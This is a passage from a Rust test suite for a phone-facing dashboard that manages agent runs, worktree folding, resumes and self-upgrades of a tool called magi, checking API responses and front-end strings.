8929 let len = rest
8930 .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
8931 .unwrap_or(rest.len());
8932 if len > 0 {
8933 used.push(&rest[..len]);
8934 }
8935 }
8936 assert!(
8937 used.len() > 5,
8938 "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
8939 );
8940
8941 let missing: Vec<&str> = used
8942 .iter()
8943 .copied()
8944 .filter(|name| !published.contains(name))
8945 .collect();
8946 assert!(
8947 missing.is_empty(),
8948 "a run card's updater reaches for {missing:?}, which `createRunCard` \
8949 never put in `refs` - every card will throw and the list will \
8950 render empty under a count line that says otherwise. Published: \
8951 {published:?}"
8952 );
8953 }
8954
8955 #[tokio::test]
8956 async fn folding_from_the_phone_reports_what_it_removed() {
8957 let fx = Fixture::start().await;
8958 let runs = fx.runs();
8959
8960 let id = "20260901-000000-fold";
8964 write_run(&runs, id, RunStatus::Stalled);
8965 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
8966 assert_eq!(res.status, 200);
8967 assert_eq!(res.json()["removed_count"], 0);
8968 assert_eq!(res.json()["run"], id);
8969 assert!(
8970 runs.join(id).exists(),
8971 "a fold keeps the run's record; only the worktrees go"
8972 );
8973 }
8974
8975 #[tokio::test]
8976 async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
8977 let fx = Fixture::start().await;
8978 let runs = fx.runs();
8979 let wt = fx.home.path().join("wt").join("magi").join("dead");
8980 let id = "20260901-000000-dead";
8981 std::fs::create_dir_all(runs.join(id)).expect("run dir");
8982 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
8983 std::fs::create_dir_all(&wt).expect("worktree dir");
8984
8985 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
8986 assert_eq!(res.status, 200, "{}", res.body);
8987 assert!(
8988 res.json()["removed_count"].as_u64().unwrap() > 0,
8989 "the worktree this build could not read a state for still went"
8990 );
8991 assert!(
8992 !runs.join(id).exists(),
8993 "an unreadable run has no candidate list to fold selectively, so \
8994 the whole record goes - same as `magi fold` on the CLI"
8995 );
8996 }
8997
8998 #[tokio::test]
8999 async fn deleting_an_unreadable_run_removes_it_wholesale() {
9000 let fx = Fixture::start().await;
9001 let runs = fx.runs();
9002 let wt = fx.home.path().join("wt").join("magi").join("gone");
9003 let id = "20260901-000000-gone";
9004 std::fs::create_dir_all(runs.join(id)).expect("run dir");
9005 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
9006 std::fs::create_dir_all(&wt).expect("worktree dir");
9007
9008 let res = fx.delete(&format!("/api/runs/{id}")).await;
9009 assert_eq!(res.status, 204, "{}", res.body);
9010 assert!(!runs.join(id).exists(), "the broken record is gone");
9011 assert!(!wt.exists(), "its worktree is gone too");
9012 }
9013
9014 #[tokio::test]
9015 async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
9016 let fx = Fixture::start().await;
9017 let runs = fx.runs();
9018 let id = "20260901-000000-live";
9019 write_run(&runs, id, RunStatus::Implementing);
9020
9021 let mut beat = crate::daemon::Status::new();
9022 beat.current = vec![crate::daemon::Current {
9023 task: "20260901-000000-task".to_owned(),
9024 run: id.to_owned(),
9025 }];
9026 beat.updated_at = jiff::Timestamp::now();
9027 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
9028 .expect("publish a heartbeat");
9029
9030 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
9031 assert_eq!(res.status, 409);
9032 assert!(
9033 res.json()["error"]
9034 .as_str()
9035 .unwrap()
9036 .contains("live daemon"),
9037 "folding under a running agent would pull its worktree away"
9038 );
9039 }
9040
9041 #[tokio::test]
9042 async fn fold_merged_requires_a_pr_url() {
9043 let fx = Fixture::start().await;
9044 let runs = fx.runs();
9045 let id = "20260901-000000-nourl";
9046 write_run(&runs, id, RunStatus::Blocked);
9047
9048 let res = fx
9049 .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
9050 .await;
9051 assert_eq!(res.status, 400, "{}", res.body);
9052
9053 let blank = fx
9054 .post(
9055 &format!("/api/runs/{id}/fold-merged"),
9056 Some(r#"{"pr_url":" "}"#),
9057 )
9058 .await;
9059 assert_eq!(blank.status, 400, "{}", blank.body);
9060 }
9061
9062 #[tokio::test]
9063 async fn fold_merged_is_404_for_an_unknown_run() {
9064 let fx = Fixture::start().await;
9065 let res = fx
9066 .post(
9067 "/api/runs/nosuchrun/fold-merged",
9068 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
9069 )
9070 .await;
9071 assert_eq!(res.status, 404, "{}", res.body);
9072 }
9073
9074 #[tokio::test]
9075 async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
9076 let fx = Fixture::start().await;
9077 let runs = fx.runs();
9078 let id = "20260901-000000-livemerge";
9079 write_run(&runs, id, RunStatus::Blocked);
9080
9081 let mut beat = crate::daemon::Status::new();
9082 beat.current = vec![crate::daemon::Current {
9083 task: "20260901-000000-task".to_owned(),
9084 run: id.to_owned(),
9085 }];
9086 beat.updated_at = jiff::Timestamp::now();
9087 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
9088 .expect("publish a heartbeat");
9089
9090 let res = fx
9091 .post(
9092 &format!("/api/runs/{id}/fold-merged"),
9093 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
9094 )
9095 .await;
9096 assert_eq!(res.status, 409, "{}", res.body);
9097 assert!(
9098 res.json()["error"]
9099 .as_str()
9100 .unwrap()
9101 .contains("live daemon"),
9102 "correcting a run's merge underneath a running agent would race \
9103 whatever it is doing to the same `status`/`merge` fields"
9104 );
9105 }
9106
9107 #[tokio::test]
9112 async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
9113 let fx = Fixture::start().await;
9114 let runs = fx.runs();
9115 let id = "20260901-000000-unconfirmed";
9116 write_run(&runs, id, RunStatus::Blocked);
9117
9118 let res = fx
9119 .post(
9120 &format!("/api/runs/{id}/fold-merged"),
9121 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
9122 )
9123 .await;
9124 assert_eq!(res.status, 400, "{}", res.body);
9125 assert_eq!(
9126 read_run(&runs, id).unwrap().status,
9127 RunStatus::Blocked,
9128 "a pull request that could not be confirmed merged must leave \
9129 the run exactly where it was"
9130 );
9131 }
9132
9133 #[tokio::test]
9134 async fn resume_is_refused_unless_the_run_stopped_somewhere_it_can_continue() {
9135 let fx = Fixture::start().await;
9136 let runs = fx.runs();
9137
9138 for (status, word) in [
9144 (RunStatus::Merged, "merged"),
9145 (RunStatus::Ready, "ready"),
9146 (RunStatus::Failed, "failed"),
9147 ] {
9148 let id = format!("20260901-000000-{}", &word[..4]);
9149 write_run(&runs, &id, status);
9150 let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
9151 assert_eq!(res.status, 409, "{word} must not be resumable");
9152 let err = res.json()["error"].as_str().unwrap().to_owned();
9153 assert!(err.contains(word), "the refusal names the status: {err}");
9154 }
9155
9156 let mid = "20260901-000000-midf";
9161 write_run(&runs, mid, RunStatus::Reviewing);
9162 let res = fx.post(&format!("/api/runs/{mid}/resume"), None).await;
9163 assert_eq!(res.status, 202, "an interrupted run is resumable");
9164 }
9165
9166 #[tokio::test]
9167 async fn resume_is_refused_while_the_loop_is_running() {
9168 let fx = Fixture::start().await;
9169 let runs = fx.runs();
9170 let stalled = "20260901-000000-stal";
9171 write_run(&runs, stalled, RunStatus::Stalled);
9172
9173 let mut beat = crate::daemon::Status::new();
9177 beat.current = vec![crate::daemon::Current {
9178 task: "20260901-000000-task".to_owned(),
9179 run: "20260901-000000-othr".to_owned(),
9180 }];
9181 beat.updated_at = jiff::Timestamp::now();
9182 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
9183 .expect("publish a heartbeat");
9184
9185 let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
9186 assert_eq!(res.status, 409);
9187 let err = res.json()["error"].as_str().unwrap().to_owned();
9188 assert!(err.contains("othr"), "it names what the loop is on: {err}");
9189 assert!(err.contains("stop it first"), "{err}");
9190 }
9191
9192 #[test]
9193 fn a_run_cannot_be_resumed_twice_at_once() {
9194 let home = TempDir::new().expect("temp home");
9195 let ui = Ui::new(
9196 Queue::at(home.path().join("queue")),
9197 Questions::at(home.path().join("questions")),
9198 Talks::at(home.path().join("talks")),
9199 home.path().join("runs"),
9200 home.path().to_path_buf(),
9201 PathBuf::from("/repo"),
9202 )
9203 .with_worktrees_root(home.path().join("wt"));
9204 let first = ui.begin_resume("20260901-000000-once").expect("claimed");
9205 let again = ui.begin_resume("20260901-000000-once");
9206 assert!(again.is_err(), "a second tap must not start a second graph");
9207 drop(first);
9208 assert!(
9209 ui.begin_resume("20260901-000000-once").is_ok(),
9210 "and the claim is released when the attempt ends"
9211 );
9212 }
9213
9214 #[test]
9215 fn talk_thinking_tracks_only_its_held_turn_claim() {
9216 let home = TempDir::new().expect("temp home");
9217 let ui = Ui::new(
9218 Queue::at(home.path().join("queue")),
9219 Questions::at(home.path().join("questions")),
9220 Talks::at(home.path().join("talks")),
9221 home.path().join("runs"),
9222 home.path().to_path_buf(),
9223 PathBuf::from("/repo"),
9224 )
9225 .with_worktrees_root(home.path().join("wt"));
9226 let id = "20260901-000000-once";
9227
9228 assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
9229 let turn = ui.begin_talk_turn(id).expect("claim turn");
9230 assert!(ui.is_thinking(id), "the held guard is reported as thinking");
9231 assert!(
9232 !ui.is_thinking("20260901-000000-other"),
9233 "one talk's turn does not make another talk busy"
9234 );
9235 drop(turn);
9236 assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
9237 }
9238
9239 #[tokio::test]
9240 async fn an_upgrade_is_refused_when_the_loop_belongs_to_another_process() {
9241 let fx = Fixture::start().await;
9242 let mut beat = crate::daemon::Status::new();
9246 beat.pid = 4321;
9247 beat.updated_at = jiff::Timestamp::now();
9248 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
9249 .expect("publish a heartbeat");
9250
9251 let res = fx.post("/api/upgrade", None).await;
9252 assert_eq!(res.status, 409);
9253 let err = res.json()["error"].as_str().unwrap().to_owned();
9254 assert!(err.contains("4321"), "the refusal names the owner: {err}");
9255 assert!(err.contains("old one against the same queue"), "{err}");
9256 }
9257
9258 #[test]
9265 fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
9266 assert!(!should_spawn_recheck(&crate::config::Update {
9267 mode: UpdateMode::Off,
9268 interval: None,
9269 }));
9270
9271 unsafe {
9274 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
9275 }
9276 let killed = should_spawn_recheck(&crate::config::Update {
9277 mode: UpdateMode::Notify,
9278 interval: None,
9279 });
9280 unsafe {
9281 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
9282 }
9283 assert!(
9284 !killed,
9285 "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
9286 one-time startup check"
9287 );
9288
9289 assert!(should_spawn_recheck(&crate::config::Update {
9290 mode: UpdateMode::Notify,
9291 interval: None,
9292 }));
9293 }
9294
9295 #[test]
9301 fn recheck_poll_period_tracks_a_short_configured_interval() {
9302 let short = crate::config::Update {
9303 mode: UpdateMode::Notify,
9304 interval: Some("1m".to_owned()),
9305 };
9306 let period = recheck_poll_period(&short);
9307 assert!(
9308 period <= Duration::from_secs(30),
9309 "a one-minute interval must wake the task far sooner than the \
9310 default ceiling, or the deck would not notice within the \
9311 interval the operator configured: got {period:?}"
9312 );
9313
9314 let default = crate::config::Update {
9315 mode: UpdateMode::Notify,
9316 interval: None,
9317 };
9318 assert_eq!(
9319 recheck_poll_period(&default),
9320 UPDATE_RECHECK_POLL_MAX,
9321 "the default day-long interval should poll at the (capped) \
9322 ceiling rather than needlessly often"
9323 );
9324 }
9325
9326 #[test]
9334 fn recheck_skips_the_network_before_the_interval_elapses() {
9335 let dir = TempDir::new().expect("temp dir");
9336 let path = dir.path().join("state.json");
9337 let state = kaishin::UpdateCheckState {
9338 last_checked_unix: jiff::Timestamp::now().as_second() as u64,
9339 last_known_latest: None,
9340 last_known_url: None,
9341 };
9342 kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
9343
9344 let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
9345 assert!(
9346 !update_recheck_due(&checker, None),
9347 "a check made moments ago must not be repeated before the \
9348 configured interval elapses"
9349 );
9350 }
9351
9352 #[test]
9358 fn recheck_defers_to_an_upgrade_already_in_flight() {
9359 let dir = TempDir::new().expect("temp dir");
9360 let path = dir.path().join("state.json");
9361 let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
9362 let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
9363
9364 assert!(
9365 !update_recheck_due(&checker, Some(&progress)),
9366 "a recheck must not run while an upgrade this deck started is \
9367 still moving"
9368 );
9369 }
9370
9371 #[tokio::test]
9372 async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
9373 unsafe {
9385 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
9386 }
9387 let fx = Fixture::start().await;
9388 let res = fx.post("/api/upgrade", None).await;
9389 unsafe {
9390 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
9391 }
9392 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
9393 let body = res.json();
9394 assert!(body["to"].is_null(), "there was no release to move to");
9395 assert!(body["parked"].is_null(), "and nothing was parked");
9396 assert!(
9397 body["detail"]
9398 .as_str()
9399 .unwrap()
9400 .contains("disabled by MAGI_NO_AUTOUPDATE"),
9401 "{body:?}"
9402 );
9403 }
9404
9405 #[tokio::test]
9406 async fn an_upgrade_with_nothing_to_install_changes_nothing() {
9407 let repo = TempDir::new().expect("repo dir");
9423 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
9424 .expect("write magi.toml");
9425 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
9426
9427 let res = fx.post("/api/upgrade", None).await;
9433 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
9434 let body = res.json();
9435 assert!(body["to"].is_null(), "there was no release to move to");
9436 assert!(body["parked"].is_null(), "and nothing was parked");
9437 assert!(
9438 body["detail"]
9439 .as_str()
9440 .unwrap()
9441 .contains("nothing restarted"),
9442 "{body:?}"
9443 );
9444 }
9445
9446 #[tokio::test]
9447 async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
9448 let repo = TempDir::new().expect("repo dir");
9453 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
9454 .expect("write magi.toml");
9455 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
9456
9457 let health = fx.get("/api/health").await.json();
9458 assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
9459 assert_eq!(
9460 health["update"]["available"], false,
9461 "checking is off, which reads as \"unknown\", not \"none\""
9462 );
9463 assert!(health["update"]["to"].is_null());
9464 assert!(
9465 health["upgrade"].is_null(),
9466 "nothing has ever asked this deck to upgrade"
9467 );
9468 }
9469
9470 #[tokio::test]
9471 async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
9472 let fx = Fixture::start().await;
9473 write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
9474
9475 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
9476 progress.parked_run = Some("20260905-000000-cd51".to_owned());
9477 progress.advance(crate::updater::Stage::Parking);
9478 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
9479
9480 let health = fx.get("/api/health").await.json();
9481 assert_eq!(health["upgrade"]["stage"], "parking");
9482 assert_eq!(health["upgrade"]["from"], "0.5.1");
9483 assert_eq!(health["upgrade"]["to"], "0.5.2");
9484 let waiting_on = health["upgrade"]["waiting_on"]
9485 .as_str()
9486 .expect("waiting_on is set while parking a known run");
9487 assert!(waiting_on.contains("cd51"), "{waiting_on}");
9488 assert!(waiting_on.contains("implementing"), "{waiting_on}");
9489 }
9490
9491 #[tokio::test]
9492 async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
9493 let fx = Fixture::start().await;
9494 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
9495 progress.advance(crate::updater::Stage::Done);
9496 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
9497
9498 let health = fx.get("/api/health").await.json();
9499 assert_eq!(health["upgrade"]["stage"], "done");
9500 assert!(
9501 health["upgrade"]["waiting_on"].is_null(),
9502 "nothing to wait on once it is done"
9503 );
9504 }
9505
9506 #[tokio::test]
9507 async fn hand_over_advances_the_upgrade_progress_through_parking_and_restarting() {
9508 let home = TempDir::new().expect("temp home");
9509 let runs = home.path().join("runs");
9510 std::fs::create_dir_all(&runs).expect("runs dir");
9511 let ui = Ui::new(
9512 Queue::at(home.path().join("queue")),
9513 Questions::at(home.path().join("questions")),
9514 Talks::at(home.path().join("talks")),
9515 runs,
9516 home.path().to_path_buf(),
9517 PathBuf::from("/repo/magi"),
9518 )
9519 .with_launch(launch_idle);
9520 let looping = ui.looping();
9521 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
9522 .await
9523 .expect("bind loopback");
9524 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
9525
9526 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
9527 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
9528
9529 hand_over(home.path(), &looping, served, || Ok(()))
9530 .await
9531 .expect("hand over");
9532
9533 let after = crate::updater::read_progress(home.path()).expect("progress on disk");
9534 assert_eq!(
9535 after.stage,
9536 crate::updater::Stage::Restarting,
9537 "hand_over owns the record through parking and up to restarting; \
9538 the successor is what finishes it"
9539 );
9540 }
9541
9542 #[test]
9543 fn the_upgrade_button_arms_before_it_restarts_anything() {
9544 assert!(APP_JS.contains("upgrade: \"/api/upgrade\""));
9547 assert!(APP_JS.contains("Replace the binary and restart?"));
9548 assert!(APP_JS.contains("function confirmed("));
9549 assert!(APP_JS.contains("show(upgradeBtn, !foreign && update.available)"));
9554 assert!(
9558 APP_JS.contains("Parking, then restarting"),
9559 "the button says what it is waiting for"
9560 );
9561 assert!(APP_JS.contains("if (!out.to)"));
9564 }
9565
9566 #[test]
9567 fn stopping_the_loop_arms_but_starting_does_not() {
9568 assert!(APP_JS.contains("Finish the run(s) in flight, then stop claiming?"));
9571 assert!(APP_JS.contains("Stop claiming new tasks? Nothing is in flight."));
9572 assert!(APP_JS.contains("confirmed(button, question)"));
9573 assert!(!APP_JS.contains("setText(btn, \"Update & restart\");\n }\n }, 6000)"));
9576 assert!(APP_JS.contains("const label = btn.textContent;"));
9577 assert!(!APP_JS.contains("Neither direction is guarded"));
9578 }
9579
9580 #[test]
9581 fn the_running_version_is_shown_regardless_of_whether_an_update_exists() {
9582 assert!(
9583 APP_JS.contains("state.health.version"),
9584 "the operator wants to know what is running even with nothing newer"
9585 );
9586 assert!(APP_JS.contains("id=\"daemon-version\"") || APP_CSS.contains(".daemon-version"));
9587 }
9588
9589 #[test]
9590 fn the_upgrade_button_names_its_destination() {
9591 assert!(
9592 APP_JS.contains("`Update to ${update.to}`"),
9593 "pressing the button should not be a surprise about what it moves to"
9594 );
9595 }
9596
9597 #[test]
9598 fn an_upgrade_in_progress_is_shown_as_stages_not_as_an_error() {
9599 for stage in ["downloading", "replaced", "parking", "restarting"] {
9600 assert!(
9601 APP_JS.contains(&format!("\"{stage}\"")),
9602 "the phone must be able to tell {stage} apart from the others"
9603 );
9604 }
9605 assert!(APP_JS.contains(".waiting_on"));
9606 assert!(APP_JS.contains("function reportUnreachableDuringUpgrade("));
9611 assert!(APP_JS.contains("reconnects on its own"));
9612 }
9613
9614 #[test]
9615 fn a_failed_upgrade_does_not_lock_the_loop_controls() {
9616 let body = &APP_JS[APP_JS.find("function renderLoop(").expect("renderLoop")
9625 ..APP_JS.find("function upgrade(").expect("upgrade")];
9626 assert!(
9627 !body.contains(
9628 "upgradeStage === \"failed\") {\n setAttr(box, \"data-state\", \"failed\")"
9629 ),
9630 "a failed upgrade must not take the whole strip over the way it used to"
9631 );
9632 assert!(
9633 body.contains("upgradeFailNote"),
9634 "the failure has to reach the loop's own note instead"
9635 );
9636 assert_eq!(
9640 body.matches("upgradeFailNote].filter(Boolean).join")
9641 .count(),
9642 2,
9643 "both loop-why writers (quiet and control) must fold the note in"
9644 );
9645 }
9646
9647 #[test]
9648 fn an_overdue_upgrade_eventually_asks_for_a_human() {
9649 assert!(APP_JS.contains("UPGRADE_WAIT_LIMIT_MS = 70 * 60 * 1000"));
9652 assert!(APP_JS.contains("function upgradeOverdue("));
9653 }
9654
9655 #[test]
9656 fn coming_back_from_an_upgrade_says_which_version_it_landed_on() {
9657 assert!(
9658 APP_JS.contains("Updated to ${upgradeInfo.to"),
9659 "the operator who asked for the restart wants to know it worked"
9660 );
9661 }
9662
9663 #[test]
9664 fn an_error_is_visible_from_where_the_button_is() {
9665 let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
9670 ..APP_CSS.find(".alert-text").expect(".alert-text")];
9671 assert!(
9672 alert.contains("position: fixed"),
9673 "an error about the thing under your thumb has to be visible from \
9674 where your thumb is: {alert}"
9675 );
9676 assert!(
9677 alert.contains("z-index: 25"),
9678 "above the dock (20) and the run-actions FAB (15), so neither \
9679 buries it: {alert}"
9680 );
9681 assert!(
9682 alert.contains("var(--tap)"),
9683 "and clear of the dock and the home indicator: {alert}"
9684 );
9685 assert!(
9688 alert.contains("var(--s4) + var(--tap) + var(--s3)"),
9689 "the FAB's column stays free: {alert}"
9690 );
9691 }
9692
9693 #[tokio::test]
9694 async fn an_older_attempt_says_what_replaced_it() {
9695 let fx = Fixture::start().await;
9696 let q = fx.queue();
9697 let runs = fx.runs();
9698 let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
9699 write_run(&runs, first, RunStatus::Stalled);
9700 write_run(&runs, second, RunStatus::Blocked);
9701
9702 let mut t = Task::new(
9703 "one task".to_owned(),
9704 "do it".to_owned(),
9705 PathBuf::from("/repo"),
9706 Source::Human,
9707 );
9708 t.runs = vec![first.to_owned(), second.to_owned()];
9709 q.put(&mut t).expect("put");
9710
9711 let rows = fx.get("/api/runs").await.json();
9715 let by = |short: &str| -> Value {
9716 rows.as_array()
9717 .unwrap()
9718 .iter()
9719 .find(|r| r["short"] == short)
9720 .cloned()
9721 .unwrap_or(Value::Null)
9722 };
9723 assert_eq!(by("aaaa")["superseded_by"], "bbbb");
9724 assert!(
9725 by("bbbb")["superseded_by"].is_null(),
9726 "the latest attempt is not superseded by anything"
9727 );
9728 assert!(APP_JS.contains("run.superseded_by"));
9730 assert!(APP_JS.contains("Superseded by"));
9731 }
9732
9733 #[tokio::test]
9734 async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
9735 let fx = Fixture::start().await;
9740 let q = fx.queue();
9741 let runs = fx.runs();
9742 let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
9743 write_run(&runs, first, RunStatus::Blocked);
9744 write_run(&runs, second, RunStatus::Merged);
9745
9746 let mut t = Task::new(
9747 "one task".to_owned(),
9748 "do it".to_owned(),
9749 PathBuf::from("/repo"),
9750 Source::Human,
9751 );
9752 t.runs = vec![first.to_owned(), second.to_owned()];
9753 q.put(&mut t).expect("put");
9754
9755 let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
9756 assert_eq!(earlier["superseded_by"], "dddd");
9757 assert_eq!(earlier["latest_attempt"]["id"], second);
9758 assert_eq!(earlier["latest_attempt"]["short"], "dddd");
9759 assert_eq!(
9760 earlier["latest_attempt"]["resolved"], true,
9761 "the run that replaced it landed, so this one reads as settled"
9762 );
9763
9764 let later = fx.get(&format!("/api/runs/{second}")).await.json();
9765 assert!(
9766 later["superseded_by"].is_null(),
9767 "the latest attempt is not superseded by anything"
9768 );
9769 assert!(
9770 later["latest_attempt"].is_null(),
9771 "the latest attempt has no later attempt of its own"
9772 );
9773
9774 assert!(APP_JS.contains("run.latest_attempt"));
9781 assert!(APP_JS.contains("data-superseded"));
9782 assert!(APP_JS.contains("#/runs/${latest.id}"));
9783 }
9784
9785 #[tokio::test]
9786 async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
9787 let fx = Fixture::start().await;
9793 let q = fx.queue();
9794 let runs = fx.runs();
9795 let (a, b, c) = (
9796 "20260901-000000-aaaa",
9797 "20260901-000000-bbbb",
9798 "20260901-000000-cccc",
9799 );
9800 write_run(&runs, a, RunStatus::Blocked);
9801 write_run(&runs, b, RunStatus::Blocked);
9802 write_run(&runs, c, RunStatus::Merged);
9803
9804 let mut t = Task::new(
9805 "retried twice".to_owned(),
9806 "do it".to_owned(),
9807 PathBuf::from("/repo"),
9808 Source::Human,
9809 );
9810 t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
9811 q.put(&mut t).expect("put");
9812
9813 let view = fx.get(&format!("/api/runs/{a}")).await.json();
9814 assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
9815 assert_eq!(
9816 view["latest_attempt"]["id"], c,
9817 "the chain's current head, not the intermediate Blocked retry"
9818 );
9819 assert_eq!(view["latest_attempt"]["resolved"], true);
9820
9821 let mid = fx.get(&format!("/api/runs/{b}")).await.json();
9822 assert_eq!(mid["latest_attempt"]["id"], c);
9823 assert_eq!(mid["latest_attempt"]["resolved"], true);
9824 }
9825
9826 #[tokio::test]
9827 async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
9828 let fx = Fixture::start().await;
9829 let q = fx.queue();
9830 let runs = fx.runs();
9831
9832 let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
9835 write_run(&runs, still_blocked_a, RunStatus::Blocked);
9836 write_run(&runs, still_blocked_b, RunStatus::Blocked);
9837 let mut t1 = Task::new(
9838 "still stuck".to_owned(),
9839 "do it".to_owned(),
9840 PathBuf::from("/repo"),
9841 Source::Human,
9842 );
9843 t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
9844 q.put(&mut t1).expect("put");
9845 let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
9846 assert_eq!(view1["latest_attempt"]["resolved"], false);
9847
9848 let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
9853 write_run(&runs, noop_a, RunStatus::Blocked);
9854 write_run(&runs, noop_b, RunStatus::VerifiedNoop);
9855 let mut t2 = Task::new(
9856 "claims done".to_owned(),
9857 "do it".to_owned(),
9858 PathBuf::from("/repo"),
9859 Source::Human,
9860 );
9861 t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
9862 q.put(&mut t2).expect("put");
9863 let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
9864 assert_eq!(
9865 view2["latest_attempt"]["resolved"], false,
9866 "an unverified no-op claim must not read as a confirmed finish"
9867 );
9868
9869 assert!(APP_JS.contains("latest.resolved"));
9872 }
9873
9874 #[tokio::test]
9875 async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
9876 let fx = Fixture::start().await;
9877 let js = fx.get("/app.js").await;
9883 assert_eq!(js.status, 200);
9884 let tag = js
9885 .header("etag")
9886 .expect("an etag to revalidate against")
9887 .to_owned();
9888 assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
9889 assert_eq!(
9890 js.header("cache-control"),
9891 Some("no-cache, must-revalidate"),
9892 "the phone has to ask every time"
9893 );
9894
9895 let again = fx
9898 .get_with("/app.js", &[("if-none-match", tag.as_str())])
9899 .await;
9900 assert_eq!(
9901 again.status, 304,
9902 "a deck it already has costs one round trip"
9903 );
9904 assert!(again.body.is_empty(), "304 carries no body");
9905
9906 let weak = fx
9909 .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
9910 .await;
9911 assert_eq!(weak.status, 304);
9912 let stale = fx
9913 .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
9914 .await;
9915 assert_eq!(stale.status, 200, "an older build must be replaced");
9916 assert!(stale.body.contains("renderRunActions"));
9917 }
9918
9919 #[test]
9920 fn the_deck_never_sends_the_operator_to_a_terminal() {
9921 assert!(
9924 !APP_JS.contains("Run `magi fold` first"),
9925 "the deck must offer the fold, not prescribe a shell command"
9926 );
9927 assert!(APP_JS.contains("foldRun:"));
9928 assert!(APP_JS.contains("resumeRun:"));
9929 assert!(APP_JS.contains("renderRunActions"));
9930
9931 assert!(APP_JS.contains("armedFold"));
9933 assert!(APP_JS.contains("Yes, fold worktrees"));
9934
9935 assert!(APP_JS.contains("can no longer be resumed"));
9938 }
9939
9940 #[test]
9941 fn a_finished_run_explains_itself_with_its_own_last_line() {
9942 assert!(
9948 !APP_JS.contains("collapsed on agent quota"),
9949 "a stall must not be explained by a cause the deck did not check"
9950 );
9951 assert!(
9952 !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
9953 "and a block must not offer a guess with an `or` in it"
9954 );
9955
9956 assert!(
9960 APP_JS.contains("setText(r.event, run.event || \"\")"),
9961 "the run's last line is rendered unconditionally"
9962 );
9963 assert!(
9964 !APP_JS.contains("moving && run.event"),
9965 "and never gated on the run still moving"
9966 );
9967
9968 assert!(APP_JS.contains("lost to quota"));
9970 }
9971
9972 #[test]
9994 fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
9995 let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
9996 let shapes_body_start =
9997 APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
9998 let shapes_close = APP_JS[shapes_body_start..]
9999 .find("].map(")
